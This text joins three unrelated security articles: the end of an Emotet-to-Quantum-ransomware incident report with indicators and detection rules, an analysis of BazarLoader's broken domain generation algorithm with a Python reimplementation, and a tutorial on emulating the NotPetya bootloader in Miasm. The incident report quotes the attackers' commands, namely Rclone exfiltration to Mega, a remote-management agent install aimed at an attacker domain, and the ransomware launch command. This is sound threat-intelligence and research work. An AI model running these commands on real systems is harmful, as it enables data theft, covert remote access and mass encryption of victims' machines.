Lastly, traces of RDP (Remote Desktop Protocol) connections were discovered on multiple compromised hosts utilized for lateral movement on the final day of the intrusion and during the ransomware deployment.
### Collection
On the third day of the intrusion, after moving laterally, the threat actors began to review sensitive documents stored on network shares, including revenue, insurance, and password storage documents. These documents were again reviewed by the threat actor on the final day of the intrusion. Later, the threat actor viewed the stolen files off-network, observed by triggered canary tokens, which revealed connections from an AWS EC2 instance.
### Command and Control
**Emotet**
The Emotet loader pulled the main second stage payload from the following domains:
- hxxps://descontador[.]com[.]br
- hxxps://www.elaboro[.]pl
- hxxps://el-energiaki[.]gr
- hxxp://drechslerstammtisch[.]de
- hxxp://dhnconstrucciones[.]com[.]ar
- hxxp://dilsrl[.]com
The second stage loader had multiple IP addresses in its configuration to attempt connections to:
- 103.159.224.46
- 103.75.201.2
- 119.193.124.41
- 128.199.225.17
- 131.100.24.231
- 139.59.60.88
- 144.217.88.125
- 146.59.226.45
- 149.56.131.28
- 159.89.202.34
- 165.22.211.113
- 165.227.166.238
- 178.128.82.218
- 209.126.98.206
- 213.32.75.32
- 37.187.115.122
- 45.226.53.34
- 45.55.134.126
- 46.55.222.11
- 51.210.176.76
- 51.254.140.238
- 54.37.70.105
- 82.223.82.69
- 91.207.181.106
- 92.114.18.20
- 94.23.45.86
- 96.125.171.16
**Cobalt Strike**
The following Cobalt Strike C2 servers were observed being used. Both HTTP and HTTPS were observed to be used.
- 139.60.161.167 (survefuz[.]com)
- 139.60.160.18 (juanjik[.]com)
**Tactical RMM Agent**
The threat actor dropped a Tactical RMM Agent on one of the servers as an alternative command and control avenue to access the network. During the installation of the software, the following command was observed:
```
"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth REDACTED
```
This command reveals the floppasoftware.com domain used by the threat actor for the remote management of Tactical RMM Agent. This domain was registered very close to the timeline of this incident. A domain registered to be used with Tactical RMM Agent will have both an api and mesh subdomain, in this case, api.floppasoftware[.]com and mesh.floppasoftware[.]com. These were both hosted on the same server IP: 212.73.150.62.
### AnyDesk
On the final day of the intrusion, AnyDesk was deployed on the server they had previously installed Tactical RMM on. Using this RMM agent, they proceeded to install AnyDesk on the host. The following process activity was observed from `meshagent.exe`:
```
MeshAgent.exe -kvm1
```
The decoded base 64 content reveals commands for console access and connect actions.
### Exfiltration
Also seen in our last report on Emotet, threat actors leveraged Rclone to exfiltrate data to Mega (Mega.nz) storage services.
```
rclone.exe copy "\\SERVER.domain.name\path" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6
rclone.exe copy "\\SERVER.domain.name\path" mega:2 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6
```
From the `rclone.conf` file, the threat actors left the details of the remote account being used.
**Email:** [email protected]
With the help of Netflow, we identified that at least ~250MB worth of data was exfiltrated out of the environment.
### Impact
**Spam Email**
During the first two days, Emotet sent outbound spam emails over SMTP. The following is an example of the SMTP traffic for sending the email, along with an extracted EML that was sent with an attached XLS:
**Ransomware**
Towards the last day of the intrusion, the threat actor made their preparations to deploy ransomware to the domain. They started by connecting to a new server via RDP from the server they just used Tactical RMM to deploy Anydesk. Once establishing the RDP connection, they deployed `Powertool64.exe`, likely to prevent intervention by any security tools, and launched the software Don’t Sleep. Don’t Sleep has the capability to keep the computer from being shut down and the user from being signed off. This was likely done to ensure nothing would interfere with the propagation of the ransomware payload.
Finally, with Don’t Sleep running, the threat actor executed a batch script named “1.bat“. The script invoked the main ransomware payload, `locker.dll`, and passed a list of all the computers in the domain to the target parameter.
```
rundll32.exe locker.dll,run /TARGET=\\HOST1.DOMAIN.NAME\C$ /TARGET=\\HOST2.DOMAIN.NAME\C$ /TARGET=\\HOST3.DOMAIN.NAME\C$ /login=DOMAIN\Administrator /password=[REDACTED] /nolog /shareall
```
The executable began to encrypt all the targeted hosts in the environment and dropped a ransom note: `README_TO_DECRYPT.html`. After the invocation of the ransomware payload, about a minute later, the threat actor launched `Process Hacker`. We believe this was to monitor the execution of the ransomware payload. All systems in the domain were encrypted and presented with a ransom message.
### Indicators
**Emotet Deployment Domains**
- descontador[.]com[.]br
- www.elaboro[.]pl
- el-energiaki[.]gr
- drechslerstammtisch[.]de
- dhnconstrucciones[.]com[.]ar
- dilsrl[.]com
**Emotet C2 Servers**
- 103.159.224.46
- 103.75.201.2
- 119.193.124.41
- 128.199.225.17
- 131.100.24.231
- 139.59.60.88
- 144.217.88.125
- 146.59.226.45
- 149.56.131.28
- 159.89.202.34
- 165.22.211.113
- 165.227.166.238
- 178.128.82.218
- 209.126.98.206
- 213.32.75.32
- 37.187.115.122
- 45.226.53.34
- 45.55.134.126
- 46.55.222.11
- 51.210.176.76
- 51.254.140.238
- 54.37.70.105
- 82.223.82.69
- 91.207.181.106
- 92.114.18.20
- 94.23.45.86
- 96.125.171.16
**Cobalt Strike**
- 139.60.161.167 (survefuz[.]com)
- 139.60.160.18 (juanjik[.]com)
**Tactical RMM Agent**
- api.floppasoftware[.]com
- mesh.floppasoftware[.]com
- 212.73.150.62
### Computed
**K-1 06.13.2022.lnk**
- de7c4da78a6cbba096e32e5eecb00566
- 02b4f495e9995cc2251c19cd9984763f52122951
- 1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad
**17jun.exe**
- 0ea68856c4f56f4056502208e97e9033
- b80c987c8849bf7905ea8f283b79d98753e3c15a
- 41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1
**dontsleep.exe**
- 50cc3a3bca96d7096c8118e838d9bc16
- b286b58ed32b6df4ecdb5df86d7d7d177bb7bfaf
- f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee
**locker.dll**
- d2df4601c8d43e655163c0b292bc4cc9
- f6727d5d04f2728a3353fbd45d7b2cb19e98802c
- 6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6
**netscan.exe**
- 27f7186499bc8d10e51d17d3d6697bc5
- 52332ce16ee0c393b8eea6e71863ad41e3caeafd
- 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566
**rclone.exe**
- 22bbe1747933531e9c240e0db86268e2
- c2a8776e21403eb00b38bfccd36d1c03dffb009e
- 53ae3567a34097f29011d752f1d3afab8f92beb36a8d6a5df5c1d4b12edc
### Behavioral
The threat actor delivered Emotet via an Emotet loader in the form of a LNK file responsible for dropping Emotet via Powershell (`K-1 06.13.2022.lnk`). Tactical RMM Agent was installed by the threat actor on a server to ensure remote access (`17jun.exe`). Data was exfiltrated to Mega cloud service via Rclone (`rclone.exe`). Network mapping was performed using SoftPerfect Network Scanner (`netscan.exe`) followed by Quantum ransomware execution and propagation in the network (`locker.dll`). The threat actor kept the remote desktop session alive by running a program to keep the session active (`dontsleep.exe`).
### Detections
**Network**
- ET Threatview.io High Confidence Cobalt Strike C2 IP group 1
- ET POLICY SMB2 NT Create AndX Request For an Executable File
- ET POLICY SMB Executable File Transfer
- ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
- ET INFO Observed External IP Lookup Domain (icanhazip.com in TLS SNI)
- ET JA3 HASH - Possible Rclone Client Response (Mega Storage)
- ET POLICY HTTP POST to MEGA Userstorage
- ET POLICY SMB Executable File Transfer
- ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement
- ET POLICY SMB2 NT Create AndX Request For an Executable File
- ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
- ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
- ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
- ET CNC Feodo Tracker Reported CnC Server group 1
- ET CNC Feodo Tracker Reported CnC Server group 14
- ET CNC Feodo Tracker Reported CnC Server group 15
- ET CNC Feodo Tracker Reported CnC Server group 17
- ET CNC Feodo Tracker Reported CnC Server group 19
- ET CNC Feodo Tracker Reported CnC Server group 2
- ET CNC Feodo Tracker Reported CnC Server group 20
- ET CNC Feodo Tracker Reported CnC Server group 21
- ET CNC Feodo Tracker Reported CnC Server group 23
- ET CNC Feodo Tracker Reported CnC Server group 24
- ET CNC Feodo Tracker Reported CnC Server group 25
- ET CNC Feodo Tracker Reported CnC Server group 3
- ET CNC Feodo Tracker Reported CnC Server group 4
- ET CNC Feodo Tracker Reported CnC Server group 5
- ET CNC Feodo Tracker Reported CnC Server group 6
- ET CNC Feodo Tracker Reported CnC Server group 7
- ET CNC Feodo Tracker Reported CnC Server group 8
- ET CNC Feodo Tracker Reported CnC Server group 9
- ET MALWARE W32/Emotet CnC Beacon 3
**Sigma**
- https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/proc_creation_win_emotet_child_process_spawn_pattern.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml
- https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/process_creation/win_susp_recon_activity.yml
- https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_nltest_recon.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml
- https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml
- https://github.com/SigmaHQ/sigma/blob/a3eed2b760abddfd62014fcf9ae81f435b216473/rules/windows/process_access/proc_access_win_lsass_memdump.yml
- https://github.com/SigmaHQ/sigma/blob/3a2079b02bcb1a2653ba9b5a5f56fd8b14a59820/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml
- https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml
- https://github.com/SigmaHQ/sigma/blob/8b749fb1260b92b9170e4e69fa1bd2f34e94d766/rules/windows/builtin/system/win_system_anydesk_service_installation.yml
- https://github.com/SigmaHQ/sigma/blob/74e2d1bd3cec8fa72ba06cf4eef8e58fb5e0e237/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml
- https://github.com/SigmaHQ/sigma/blob/08651822714c977d40d3c126c20ba4033d6836d3/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml
**Yara**
- https://github.com/The-DFIR-Report/Yara-Rules/blob/main/15184/15184.yar
**MITRE**
- PowerShell – T1059.001
- Process Injection – T1055
- File Deletion – T1070.004
- Lateral Tool Transfer – T1570
- Valid Accounts – T1078
- Service Execution – T1569.002
- SMB/Windows Admin Shares – T1021.002
- Remote System Discovery – T1018
- Process Discovery – T1057
- Rundll32 – T1218.011
- Regsvr32 – T1218.010
- Domain Account – T1087.002
- Domain Groups – T1069.002
- System Information Discovery – T1082
- Data Encrypted for Impact – T1486
- Network Share Discovery – T1135
- Data from Network Shared Drive – T1039
- Web Protocols – T1071.001
- Remote Access Software – T1219
- Exfiltration to Cloud Storage – T1567.002
- Remote Desktop Protocol – T1021.001
- Malicious File – T1204.002
- Spearphishing Attachment – T1566.001
- Exploitation of Remote Services – T1210
**Internal case #15184**
|
# The Defective Domain Generation Algorithm of BazarLoader
Edit 2020-07-19: Cybereason published an excellent article "A Bazar of Tricks: Following Team9’s Development Cycles." The article shows that the DGA is part of Bazar Loader, which will try to download Bazar Backdoor. I therefore renamed most instances of BazarBackdoor to BazarLoader.
When I analyzed the domain generation algorithm of BazarLoader, I noticed a sample that generates bizarre domains:
```
1/6^efggkzjhggm.bazaar
]`egkjzeggkl.bazaar
_`eigkzegigm.bazaar
^`ggilzeigin.bazaar
bceeijbhgeil.bazaar
_acgkjzfegkl.bazaar
a`gggkaeiggm.bazaar
`cehimzhghio.bazaar
``ceikzeeeim.bazaar
`edgjlzjfgjn.bazaar
_ccghjzheghl.bazaar
a`eijjaegijl.bazaar
^aegjkzfggjm.bazaar
a`geikaeieim.bazaar
_dghhkziihhm.bazaar
```
Two things are obviously wrong:
1. There is no top level domain .bazaar. There is a Persian TLD .رازﺎﺑ which translates to bazaar, but that won’t work of course.
2. Some second level domains contain special characters which makes them invalid too.
The first error is easy to explain: the authors meant to use .bazar, which is a valid EmerDNS domain. The second mistake is more interesting. The authors must have noticed the occasional special characters too. But they probably couldn’t find the root cause and instead programmed a workaround that fixes some, but not all, characters.
Here is the sample with the broken DGA that I looked at:
- **MD5**: 18d635a8ca7caefb4f4513650a31efc9
- **SHA1**: d555233122a277fb89797ab2293efbe2a0c75f7f
- **SHA256**: 2e99ed535a9f73bafab151ec409de04c953a0187cb8e4063317617befa09068d
- **Size**: 377 KB (386224 Bytes)
- **Compile Timestamp**: 2020-06-17 09:20:56 UTC
**Filenames**: DD45.exe, Preview_Report.exe (VirusTotal)
**Detections**: Virustotal: 41/76 as of 2020-07-09 13:47:45 - Trojan.Trickster.Gen (ALYac), Trojan.Win32.Mansabo.4!c (AegisLab), Trojan:Win32/Mansabo.e7acfbbd (Alibaba), Trojan/Win32.Mansabo (Antiy-AVL), Trojan.Mansabo (CAT-QuickHeal), Trojan.Win32.Mansabo.fef (Kaspersky), Trojan:Win32/Trickbot.A!Cert (Microsoft), TrojanSpy.Win64.TRICKBOT.ENJ (TrendMicro), TrojanSpy.Win64.TRICKBOT.ENJ (TrendMicro-HouseCall), Trojan.Mansabo (VBA32), Trojan.Win32.Mansabo.fef (ZoneAlarm).
The domain generation algorithm in this faulty version is the same as the one documented here. The only place that is different is shown in the following screenshot comparison. The faulty DGA is on the left, the fixed on the right. Can you spot the problem?
The divisions by invariant multiplication are hard to read, but notice the right side being much shorter even though the calculation is basically the same. This is because compiler optimization was able to strip some minor corrections that are only necessary for large numbers. Here is the decompiled code after some renaming and cleaning up:
```c
j_1 = 0;
i_1 = 0;
do {
r = 0;
[...]
bcrypt_BCryptGenRandom(0i64, &r, 4i64);
offset_letter = i_1 + 'a';
i_1 += 2;
character = r % 25 / (j_1 + 6) + offset_letter;
r = r % 25 / (j_1 + 6);
j_2 = j_1++;
*(szDomain + 2 * j_2) = character;
} while (i_1 < 12u);
```
This is the same code as for the fixed DGA, except for how the random numbers are generated:
1. The faulty DGA generates 4 random bytes using a call to BCryptGenRandom.
2. The fixed DGA generates a random value with a call to GetTickCount, and extracting the lowest 15 bits.
The problem with the first approach is that the number will be 0x80000000 or larger in 50% of the cases. Since it is a signed number, it becomes negative. And the remainder of a negative number for a positive divisor is negative. The fixed version doesn’t have this problem, because the integer overflow does not happen. When extending the random number ranges to the negative, we get these character sets:
| Index | Random Number Range | Potential Characters |
|-------|---------------------|----------------------|
| 0 | -4–4 | ]^_`abcde |
| 1 | -3–3 | `abcdef |
| 2 | -3–3 | bcdefgh |
| 3 | -2–2 | efghi |
| 4 | -2–2 | ghijk |
| 5 | -2–2 | ijklm |
The malware authors used the following patch instead of fixing the integer overflow:
```c
l = 6i64;
do {
c = *(&szSeedStr[-6] + wDomain - a2) + *(wDomain - 6) - '0';
*wDomain = c;
if (c < 'a')
*wDomain = 'z';
++wDomain;
--l;
} while (l);
```
The patch is an if condition that replaces characters below “a” — that includes all special characters generated by the faulty DGA — with “z”. This resolves the problem for the last half of the second level domain (in particular, the 7th and 8th letter, the rest are not affected by the bug). However, the first half of the second level domain remains unmodified.
The following Python reimplementation generates all possible domains for a given date. Note that due to the extended random ranges, there are about 55000 domains per month instead of 2160 for the fixed version. So even if the correct TLD would have been used, then the number of domains would have been a problem for the attackers — as they have no way of predicting which ones are used in what order.
```python
import argparse
from datetime import datetime
from itertools import product
def dga(date):
month = date.month
year = date.year
date_str = "{0:02d}{1:04d}".format(12-month, year-18)
valid_chars = [
"]^_`abcde",
"`abcdef",
"bcdefgh",
"efghi",
"ghijk",
"ijklm"
]
valid_chars = [list(_) for _ in valid_chars]
for part1 in product(*valid_chars):
domain = "".join(part1)
for i, c in enumerate(part1):
r = ord(c) + int(date_str[i])
if r < ord('a'):
domain += 'z'
else:
domain += chr(r)
domain += ".bazaar"
yield domain
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--date", help="date when domains are generated, e.g., 2020-06-28")
args = parser.parse_args()
if args.date:
d = datetime.strptime(args.date, "%Y-%m-%d")
else:
d = datetime.now()
for domain in dga(d):
print(domain)
```
|
# Emulating NotPetya Bootloader with Miasm
NotPetya is a famous malware of the Petya family. It appeared in June 2017. The part running from the Master Boot Record (MBR) has been statically and dynamically studied, using for instance the Bochs debugger from IDA. Is another approach possible? This article’s goal is to show that we can emulate this bootloader using Miasm.
This article has been written by Jordan Bouyat (@la_F0uin3) and Adrien Guinet (@adriengnt). It has originally been published in the MISC magazine n°98 in French. This is a slightly updated and English translation of this article.
## Introduction
This Petya variant first appeared in June 2017 in Ukraine. According to Mikko Hyppönen, Chief Research Officer at F-Secure, the infection vector would be the update mechanism of the accountability software M.E.Doc, widely deployed within Eastern countries.
This malware family has the particularity of overwriting the bootloader of the compromised machine in order to encrypt parts of the hard drive when it reboots. This article uses this bootloader as a pretext for a tutorial concerning the emulation and reverse engineering of these little beasts thanks to the Miasm framework. The associated code is available here: https://github.com/aguinet/miasm-bootloader/. It contains a Python implementation of a subset of the interfaces of a classic x86 PC BIOS. The code was written in a way that is easily reusable for other cases, or even to help the development/debugging of bootloaders in general.
## Related Works
Many articles have already studied the behaviour of the NotPetya MBR, as well as its various cryptographic implementations and mechanisms (and their faults). Here are some significant ones:
- MISC n°86: “Pleased to meet you, my name is Petya!”, written by Damien Schaeffer in July 2016
- MISC n°93: “Petya or Not Petya, that is the question”, written by “Teddy and Benjamin” in September 2017, with a very thorough static reverse engineering of the bootloader.
- Crowdstrike: Full Decryption of Systems Encrypted by Petya/NotPetya. Study of an implementation error within the Salsa20 algorithm embedded in the bootloader.
This section deals only in a very general way with the malware’s cycle of life. It allows us to highlight the part studied in this article.
Once NotPetya has run on the victim’s machine, it generates an AES encryption key that will be used to achieve the first encryption phase. This key is itself encrypted with an RSA public key.
The malware then checks that the system uses a classical partition scheme and, if it has admin rights, enters its own data on the first sectors of the disc (from 1 to 18, then 32 to 34), with its own MBR in the first sector. If the system uses UEFI (with a GPT partition scheme), the malware skips this step. The machine then is restarted and the NotPetya bootloader executed: a Salsa20 key and a nonce are generated. These secrets are used to encrypt the Master File Table (MFT) of NTFS file system. This data structure contains the metadata needed to find the data associated with each file. This operation looks like a classical “chkdsk”. Once this operation is done, the machine restarts one last time and then displays the ransom message.
## Miasm
Miasm is a reverse engineering framework developed in Python. It has many features, among which:
- Open, modify and generate binaries in PE, ELF 32, 64 LE, BE.
- Assemble/disassemble x86, ARM, MIPS, SH4, PPC and MSP430 code.
- Lift instruction semantics into a custom intermediate representation.
- Emulate this intermediate representation, with various JIT (Just-in-time) compilers to speed things up.
- Simplify/modify this intermediate representation, to de-obfuscate code for instance.
## Why Emulate NotPetya with Miasm?
There are various ways to emulate a bootloader. A classical approach is to use QEMU (or any other virtualization/emulation solution) by writing the bootloader on a virtual hard disk, but it makes it difficult to instrument the bootloader code. Such a thing is however possible via IDA’s Bochs debugger. This approach was adopted by Teddy and Benjamin in MISC No. 93, but also by Saurabh Sharma. This method usually works well and makes debugging a bootloader an easy task.
In the article associated with the presentation of his Miasm tool at SSTIC in 2012, Fabrice Desclaux showed Miasm possibilities. One of the proposed applications was the emulation of a bootloader.
The ability to fully emulate a bootloader (until the BIOS interruption) with a framework like Miasm gives a sharper control over what’s happening, possibly allows de-obfuscation, and uses all the tools developed in Miasm for this task. It becomes for example very simple to instrument the code in order to see the data read/written on the disk, the secrets generated, etc.
Eventually, NotPetya’s bootloader code is succinct, non-obfuscated and extremely simple (it runs in real mode, in 16 bits and calls only a few BIOS interruptions), so it is a nice case study to play with Miasm!
## PC/x86 Bootloader
### Introduction
We will only discuss here the inner workings of “old-school” BIOS bootloaders. We will not talk about UEFI.
On x86 PCs, when the machine starts, the BIOS loads the first disk sector (named Master Boot Record, or MBR) at 0x7C00, and then jumps to this address. The MBR hence contains the bootloader code. At this moment, the processor only supports 16-bit instructions and can only address memory in real mode.
As a reminder, one disk sector contains 512 bytes. Therefore, it is not possible to store a lot of code on this sector only. That’s why bootloaders are usually designed in several stages. Indeed, the code in the first sector (the first stage) will load the stage 2 code from the hard drive, and then jump into it.
Below is the MBR’s structure written by NotPetya:
### NotPetya Case
NotPetya works exactly this way. The bootstrap code (in green in the figure above) is the assembly code below. The code at address 0x7C38 (that we named disk_read_stage2), writes data in sectors 2 to 34 (inclusive) in memory at 0x8000, and then jumps to this address:
```
seg000:7C00 cli
seg000:7C01 xor ax, ax
seg000:7C03 mov ds, ax
seg000:7C05 mov ss, ax
seg000:7C07 mov es, ax
seg000:7C09 lea sp, start
seg000:7C0D sti
seg000:7C0E mov eax, 32
seg000:7C14 mov byte ptr ds:word_7C93, dl
seg000:7C18 mov ebx, 1
seg000:7C1E mov cx, 8000h
seg000:7C21 call disk_read_stage2
seg000:7C24 dec eax
seg000:7C26 cmp eax, 0
seg000:7C2A jnz short loc_7C21
seg000:7C2C mov eax, dword ptr ds:8000h
seg000:7C30 jmp far ptr 0:8000h
```
## Emulation with Miasm
### Installation
The system used for these tests is Linux-based. Windows 10 users should be able to make it work by using Windows Subsystem for Linux (WSL), by installing for example Ubuntu using the Windows Store.
We recommend using the version of Miasm specified in the README file from the GitHub repository. At the time of writing lines, the version used is v0.1.1. To recover this specific version, do:
```
$ git clone --depth=1 --branch=v0.1.1 https://github.com/cea-sec/miasm/
```
We use the LLVM-based Miasm JIT engine, which needs the llvmlite python package. Other needed dependencies are installable directly through the provided requirements.txt file:
```
$ cd /path/to/src && pip install -r requirements.txt
```
Then just install Miasm:
```
$ cd /path/to/miasm && pip install -r requirements.txt && python ./setup.py install
```
### Implementation
All the techniques described in this article can be tried thanks to the src/emulate_mbr.py script in the aforementioned GitHub repository.
Multiple options are provided, some of them could be used to win some time during your experiments:
- `--dry`: simulates the success of disk writings, but actually writes nothing.
- `--skip-encryption`: the encryption function (which is the hottest one) will be ignored (actually transforming it into a function that does nothing).
- `--verbose-bios-data`: dumps log messages from our BIOS implementation, with a dump of read and written disk data.
- `--verbose-bios`: same as `--verbose-bios-data`, without the read and written disk data.
The `--help` flag can be used to have a more detailed list of available options. The activation of Miasm’s logs can considerably slow down the performances of the overall script. The `--log-miasm-newblocks` option only dumps blocks that have never been “jitted” by Miasm.
### Creation of a Test Disk
We performed our tests with virtual machines running Windows XP and Windows 10. The underlying hypervisor does not matter (VMWare, VirtualBox), as long as the disk created has a fixed size and is using VMDK. The emulation of the bootloader is done directly on the virtual machine’s disk. An advantage to this method is that there is no need to extract the bootloader from the original malware DLL or from the generated VMDK.
### Emulation Scenario
The test scenario is the following:
1. Voluntary infection of the virtual machine with NotPetya.
2. Wait for at least 10s (the machine shouldn’t reboot by itself, or the bootloader will actually launch its encryption code).
3. Shutdown the virtual machine: the MBR has been replaced.
4. Run the emulation: the MFT is encrypted by the bootloader which then displays the ransom.
If your virtual machine is not using a flat VMDK representation, you can convert it using QEMU:
```
$ qemu-img convert -f vmdk mydisk.vmdk -O raw mydisk.raw
```
We also give a test image in the aforementioned Git repository (file disk.raw.bz2). Once unzipped, it is a 1GB file, and contains a simple NTFS partition with some test files.
We can now emulate the NotPetya bootloader. In order to do this, we need to emulate a BIOS capable of:
- Reading/writing disk sectors
- Showing characters on the screen
- Capturing key strokes
- Booting on an MBR (“light” boot/reboot)
We are going to see how to implement this using Miasm.
### System Abstraction
We implement an abstraction of a simple system as seen by the BIOS. It contains:
- A virtual disk (the HardDrive class)
- A video screen, which goes through a classical Unix terminal, using the stdout pipe
- A keyboard, which uses the stdin pipe to gather key strokes (functions in async_kb.py)
Abstraction is implemented in the System class, of which one instance is used during the emulation. This instance is initialized alongside the Miasm VM.
### Miasm Virtual Machine Initialization
As explained in the introduction, the MBR code is loaded and executed by the BIOS at the address 0x7C00. Then, this code will load and write its second stage at the address 0x8000. The left space is dedicated to the stack. It begins at the address 0x500 and ends at the address 0x07C00. Therefore, the corresponding space is [0x00000500:0x00007BFF].
First, we need to declare these memory spaces to the Miasm virtual machine:
```
HD0 = HardDrive(hd_path)
sys_ = System([HD0])
mbr = HD0.read_sector(0)
stage1_addr = 0x07C00
stage2_addr = 0x08000
jitter.vm.add_memory_page(stage1_addr, PAGE_READ | PAGE_WRITE | PAGE_EXEC, mbr, "NotPetyaS1")
jitter.vm.add_memory_page(stage2_addr, PAGE_READ | PAGE_WRITE | PAGE_EXEC, "\x00"*SECTOR_LEN*32, "NotPetyaS2")
jitter.vm.add_memory_page(0x500, PAGE_READ | PAGE_WRITE, "\x00"*(0x7C00-0x500+1), "Stack")
# Pretty print of the memory layout
print(jitter.vm)
```
Now, the memory layout of the Miasm virtual machine is the following:
```
Addr Size Access Comment
0x500 0x7700 RW_ Stack
0x7C00 0x200 RWX NotPetyaS1
0x8000 0x4000 RWX NotPetyaS2
```
NotPetya loads 32 sectors from the disk to the memory when executing the first stage. This is why the allocated memory for the second stage is 32 sectors long (32*512 bytes).
### BIOS Interruption Handling in Miasm
Miasm allows us to specify an interruption handler which will be called whenever an INT instruction is executed. To do so, we have to tell Miasm to call our BIOS interruption handler `exception_int` with the help of `add_exception_handler` of the current used jitter:
```
jitter.add_exception_handler(EXCEPT_INT_XX, lambda jitter: exception_int(jitter, sys_))
```
### Interruption Support
Now, we have to implement the different BIOS interruption handlers. We can split them into four main families:
- INT 10h: access to the screen (write characters, change colors…)
- INT 13h: access to the disk (read/write sectors, get disk geometry…)
- INT 16h: access to the keyboard (read keystroke…)
- INT 19h: boot on the disk’s MBR.
#### INT 13h
Here is an example of the INT 13h interruption, with the 0x43 code function (Extended Read Sectors From Drive). This code implements the instruction to load multiple sectors from the disk to the memory:
```python
@func(disk_interrupts, 0x42)
def extended_read_sectors(jitter, sys_):
drive_idx = get_xl(jitter.cpu.DX)
print("Extended read sectors, drive idx 0x%x" % drive_idx)
dap = jitter.vm.get_mem((jitter.cpu.DS << 4) + jitter.cpu.SI, 16)
dap_size, _, num_sect, buff_addr, abs_sect = struct.unpack("<BBHIQ", dap)
hd = sys_.hd(drive_idx)
print(" Read %d sectors from sector %d" % (num_sect, abs_sect))
size = num_sect * SECTOR_LEN
data = hd.read(abs_sect * SECTOR_LEN, size)
jitter.cpu.cf = 0 # No error
jitter.cpu.AX = set_16bit_reg(low=int(len(data) / SECTOR_LEN), high=0)
jitter.vm.set_mem(buff_addr, data)
```
Note: this Python code doesn’t include error management for readability reasons. The `sys_` object is the system abstraction explained in System abstraction.
Sectors can be loaded from disk in two different ways by using a different kind of addressing mechanism for the same INT 13h interruption:
1. CHS (Cylinder, Head, Sector) addressing mechanism, used by the 02h / 03h codes. It can read/write one or many sectors by specifying the index of the cylinder and the head.
2. LBA (Logical Block Addressing) addressing mechanism, used by the 42h / 43h codes. It can read/write one or several sectors by specifying the corresponding sector in an absolute way, i.e. by specifying the offset from the first sector number on the disk regardless of heads/cylinders.
NotPetya uses the LBA addressing mechanism. This method needs to fill a DAP (Disk Address Packet) structure. This structure describes which sectors to read/write and where to read/write them into live memory.
One can see that an extended LBA structure exists to read or write multiple sectors at the same time:
```
0 1 Packet size
1 1 Zeroed field
2 2 Number of sectors to load
4 4 Buffer address to load sectors to (seg:off)
8 8 Absolute offset of the first sector to read
```
To sum up:
1. The DAP is parsed.
2. Data is read from the virtual disk.
3. The read data is stored in the corresponding memory page of the instantiated Miasm virtual machine.
The writing mechanism is the exact opposite: the specified buffer address in the DAP contains the data to write.
#### INT 19h
The second chosen example is the INT 19h interruption (diskboot). It reboots the machine and is used in two locations:
1. At address 0x892E, which is called if a fatal error occurs.
2. At address 0x820D, when the machine reboots after the MFT encryption.
The INT 19h interruption is called right after the POST (Power On Self Test) procedure by the BIOS. After that, the MBR code is loaded into live memory at 0x7C00. Then, the BIOS jumps at this address.
So we can say here that it is used as a sort of soft reboot because the reboot is not a complete one. This instruction is part of the boot process after BIOS execution. Some BIOS can handle boot medium priority while others just loop over available mediums and boot on the first one it can.
Here, we will emulate this instruction simply by loading again the MBR code into the memory page dedicated to it (stage 1), and then jump onto it (at address 0x7C00):
```python
diskboot_interrupts = FuncTable("INT 19h (diskboot)")
@func(diskboot_interrupts, 0x02)
def reboot(jitter, sys_):
hd = sys_.hd(0)
mbr = hd.read_sector(0)
jitter.vm.set_mem(0x7C00, mbr)
jitter.pc = 0x7C00
```
For a few more hacks…
The STI (Set Interrupt Flag) instruction is used at address 0x7C0D. It can activate masked interruptions (flag IF and offset 9 of the FLAGS register). This flag doesn’t have any effect on non-maskable interruptions. Because hardware interruptions are fully emulated, Miasm doesn’t contain (legitimately) semantics for this instruction.
So we simply decided to ignore it by setting a breakpoint at its corresponding address:
```python
jitter.add_breakpoint(0x7C0D, handle_sti)
```
Then, we redirect the execution flow to the next instruction. Because this instruction is only 1 byte long, a simple incrementation of the program counter does the trick:
```python
def handle_sti(jitter):
jitter.pc += 1
return True
```
Yippie kay yay motherfucker!
Now that the useful handlers are implemented and the MBR code is loaded and mapped in Miasm virtual machine, emulation of NotPetya can begin:
```python
jitter.init_run(stage1_addr)
jitter.continue_run()
```
If the `--verbose-bios-data` flag is set, output of the script prints the content of the various read and write operations on the disk. For example, here is the content of the second sector (of the 32 loaded sectors by the bootloader at 0x8000):
```
Extended read sectors, drive idx 0x0
Read 1 sectors from sector 2
00000000: 50 FF 76 04 E8 91 0A 83 C4 0A E8 3B 07 CD 19 5E P.v........;...^
00000010: C9 C3 6A 0E E8 39 07 5B 68 70 9C E8 C0 03 5B C3 ..j..9.[hp....[.
